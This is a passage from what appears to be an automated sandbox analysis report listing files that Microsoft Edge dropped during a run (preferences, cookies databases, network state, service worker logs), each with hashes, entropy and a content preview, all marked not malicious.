Preview:	2025/02/25-19:49:14.150 1c3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2025/02/25-19:49:14.153 1c3c Recovering log #3.2025/02/25-19:49:14.157 1c3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.157262505688687
Encrypted:	false
SSDEEP:	6:iOXuokfBSQ+q2P923oH+Tcwt8a2jMGIFUtFuogpdWZmw7uoCQVkwO923oH+Tcwtw:7va+v4Yeb8EFUtlgXW/bHV5LYeb8bJ
MD5:	B4F4C1B016DD4FA26A928AA21D62ED7A
SHA1:	29F8DFEBC7F3235B3C988926158B821DC4B21785
SHA-256:	E0B0A1744512A99676094D47BE23A746CF9F957BBCAC335A5D0D1BD38688B112
SHA-512:	C8712B9FA248F7D334F85CB8C8D6E4EEA6CA8F41C7E1BAE9C6319CF786892CC9B3BCC9EAEC1289B78CD46F841563957CA872A42F7DCA8446681CD59213F4C757
Malicious:	false
Preview:	2025/02/25-19:49:14.150 1c3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2025/02/25-19:49:14.153 1c3c Recovering log #3.2025/02/25-19:49:14.157 1c3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3da19c49-376c-46b6-9319-51e93735447f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4fc8f317-e5e9-4dc6-b75a-6d58374e5128.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\69907d35-11b9-4f01-ad87-d8439e6170c1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\91a5200c-1a5f-4d60-80d7-6cdc4fd794ab.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7855721050650994
Encrypted:	false
SSDEEP:	192:tTnvqGFSDYQvDeFDZdBpRaxrSAgXcf0L/ZJVb:VnvZYDYQvDQDZdBDhAgXI0LhJVb
MD5:	C9DF23F4C522539A762124E2D28BC27A
SHA1:	B1D37AF59203A2D3D9F14B8995043C5D9570F651
SHA-256:	83045DD8F17D756896835DDAFB6E42C1097F790C254AE8CA5B86FE9A4758ECAC
SHA-512:	13CD09CA528EDA112FD5FD5EC85F1867C87E51F25A328B5361E13A84E1A85202271CBB83379FBA2C77A0B56688DA43908D2597AA485738982AEAB8F5BBECEBAA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1922
Entropy (8bit):	5.327827687737007
Encrypted:	false
SSDEEP:	48:YcgCzsxCtsVifc7Rs9leeBkEsPCgHAsgCgHvbxo+:FUCH22keBkbTYTvVo+
MD5:	408B8324FB678948F38C62D7F4857FDF
SHA1:	699BD0CCFF5569E48765087A626772448BC52C82
SHA-256:	D2648EB5DB1DED4259DE3030CA0DC6DE150451ABA8B0F2FCE524BE47B3895164
SHA-512:	FF8B07CC63D98B028D1C779F423921E5AA82ECB9C2FFD3278E5D76303E6ED06AAB0A645D45B339B10B4EA2593674383BA9C9EED9BFA01F07B824C1958F609CE1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13387596555829927","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13387596559596948","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13385098178158819","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.1124119750834627
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB9Wq:uIEumQv8m1ccnvS63
MD5:	48067620F4608AA92B1C597AFD74CAD5
SHA1:	EFA3705EA80E4F0D3D22529DE1644CA20D19AD48
SHA-256:	5B6EFD0E0A25FF2F03192747CEBF8F987E6BAC7B0E67EFB200C204584B70BFC4
SHA-512:	6A36782CC73CE4FC7F03C95D1EECDE314BF8B3309BAEA9C0240DF0A1BE0BDFD276EB841B95CBAA0270A8BD04156D98E55522EF1B6AAA992F31A30508718701DD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3db2e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3e9c5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f68264c8-705e-4d41-8971-9f275d99fc60.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1922
Entropy (8bit):	5.327827687737007
Encrypted:	false
SSDEEP:	48:YcgCzsxCtsVifc7Rs9leeBkEsPCgHAsgCgHvbxo+:FUCH22keBkbTYTvVo+
MD5:	408B8324FB678948F38C62D7F4857FDF
SHA1:	699BD0CCFF5569E48765087A626772448BC52C82
SHA-256:	D2648EB5DB1DED4259DE3030CA0DC6DE150451ABA8B0F2FCE524BE47B3895164
SHA-512:	FF8B07CC63D98B028D1C779F423921E5AA82ECB9C2FFD3278E5D76303E6ED06AAB0A645D45B339B10B4EA2593674383BA9C9EED9BFA01F07B824C1958F609CE1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13387596555829927","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13387596559596948","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13385098178158819","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13463
Entropy (8bit):	5.2269019538421
Encrypted:	false
SSDEEP:	192:stQJ99QTryDigabatSuypds494JsZihUk3Y3884bV+FKxQwh66WWaFIMYn+PsYJ:stQPGKSu4ds494JfhHbGMQwg6WWaTYna
MD5:	55A22838CCCA0C4353C74B3E4D73927A
SHA1:	2109A8DFFE13C80CF3D3087BC37ABB3A48F15F64
SHA-256:	3CD5995970EEECDC78526AABE273B24F844A83B407255A72EF81E02BE2F1F554
SHA-512:	412E3E84BAF0232C304A744CC6496AF2FA083D74082616CBFDB01814F70BAFA2739C9F9E56F7038A907DAFCB0309495C638B90407E0DD467232264B78563C119
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13385004554337125","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF45437.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13463
Entropy (8bit):	5.2269019538421
Encrypted:	false
SSDEEP:	192:stQJ99QTryDigabatSuypds494JsZihUk3Y3884bV+FKxQwh66WWaFIMYn+PsYJ:stQPGKSu4ds494JfhHbGMQwg6WWaTYna
MD5:	55A22838CCCA0C4353C74B3E4D73927A
SHA1:	2109A8DFFE13C80CF3D3087BC37ABB3A48F15F64
SHA-256:	3CD5995970EEECDC78526AABE273B24F844A83B407255A72EF81E02BE2F1F554
SHA-512:	412E3E84BAF0232C304A744CC6496AF2FA083D74082616CBFDB01814F70BAFA2739C9F9E56F7038A907DAFCB0309495C638B90407E0DD467232264B78563C119
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13385004554337125","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF47c60.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13463
Entropy (8bit):	5.2269019538421
Encrypted:	false
SSDEEP:	192:stQJ99QTryDigabatSuypds494JsZihUk3Y3884bV+FKxQwh66WWaFIMYn+PsYJ:stQPGKSu4ds494JfhHbGMQwg6WWaTYna
MD5:	55A22838CCCA0C4353C74B3E4D73927A
SHA1:	2109A8DFFE13C80CF3D3087BC37ABB3A48F15F64
SHA-256:	3CD5995970EEECDC78526AABE273B24F844A83B407255A72EF81E02BE2F1F554
SHA-512:	412E3E84BAF0232C304A744CC6496AF2FA083D74082616CBFDB01814F70BAFA2739C9F9E56F7038A907DAFCB0309495C638B90407E0DD467232264B78563C119
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13385004554337125","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4d87a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13463
Entropy (8bit):	5.2269019538421
Encrypted:	false
SSDEEP:	192:stQJ99QTryDigabatSuypds494JsZihUk3Y3884bV+FKxQwh66WWaFIMYn+PsYJ:stQPGKSu4ds494JfhHbGMQwg6WWaTYna
MD5:	55A22838CCCA0C4353C74B3E4D73927A
SHA1:	2109A8DFFE13C80CF3D3087BC37ABB3A48F15F64
SHA-256:	3CD5995970EEECDC78526AABE273B24F844A83B407255A72EF81E02BE2F1F554
SHA-512:	412E3E84BAF0232C304A744CC6496AF2FA083D74082616CBFDB01814F70BAFA2739C9F9E56F7038A907DAFCB0309495C638B90407E0DD467232264B78563C119
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13385004554337125","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.554903350319805
Encrypted:	false
SSDEEP:	768:D6763h7pLGLxK8WPKcf7c8F1+UoAYDCx9Tuqh0VfUC9xbog/OVyM9Sxrw/76tqKm:D6763XcxK8WPKcf7cu1jaHiSC/768QtY
MD5:	BD23FD5FF9729780E2DCC1FC68CC2D1C
SHA1:	59AE0E86126EF36F2266F7F029962B4A0D1AF70C
SHA-256:	748D8946E1FDD61DBF5CA0C8E00138F3663A5784F0B00B604C2C30612F8E1C08
SHA-512:	AA8644880F362FC24EBA0088A828BE0B898FCA472A5B883AEFA53DF2753DA4E1AAE54CC633CACA5BAC11DD589B03E65BC4AFEF32D39D0E048D5C5C65B01EC819
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13385004553711293","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13385004553711293","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF438ee.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.554903350319805
Encrypted:	false
SSDEEP:	768:D6763h7pLGLxK8WPKcf7c8F1+UoAYDCx9Tuqh0VfUC9xbog/OVyM9Sxrw/76tqKm:D6763XcxK8WPKcf7cu1jaHiSC/768QtY
MD5:	BD23FD5FF9729780E2DCC1FC68CC2D1C
SHA1:	59AE0E86126EF36F2266F7F029962B4A0D1AF70C
SHA-256:	748D8946E1FDD61DBF5CA0C8E00138F3663A5784F0B00B604C2C30612F8E1C08
SHA-512:	AA8644880F362FC24EBA0088A828BE0B898FCA472A5B883AEFA53DF2753DA4E1AAE54CC633CACA5BAC11DD589B03E65BC4AFEF32D39D0E048D5C5C65B01EC819
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13385004553711293","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13385004553711293","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2394
Entropy (8bit):	5.8063865109430255
Encrypted:	false
SSDEEP:	48:F2emBMrd6SfBShrd4g0Nrd6tBSqprdCMBSM:F1mBMx6SkhxgNx6KkxAM
MD5:	593DE9FF5C8BE5E19C88849AF71321C8
SHA1:	20352D97C38F8B1EF6C0E2151DE04A3E0B0E493F
SHA-256:	4C56ED56FCEB6E86695180804320CE10026ABCD3F2238C48A10EED77D297612A
SHA-512:	9A4B5AE6F3CFCAA25170262C73701DD8EC19EEF36C9A5869487270D82F09B64999531A9356AF45C69CB5BCD3A6014891B7F9BC3E8600B336C5ECCFD7B5BF088C
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..s.................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true .(.0.8.....@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmpt

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
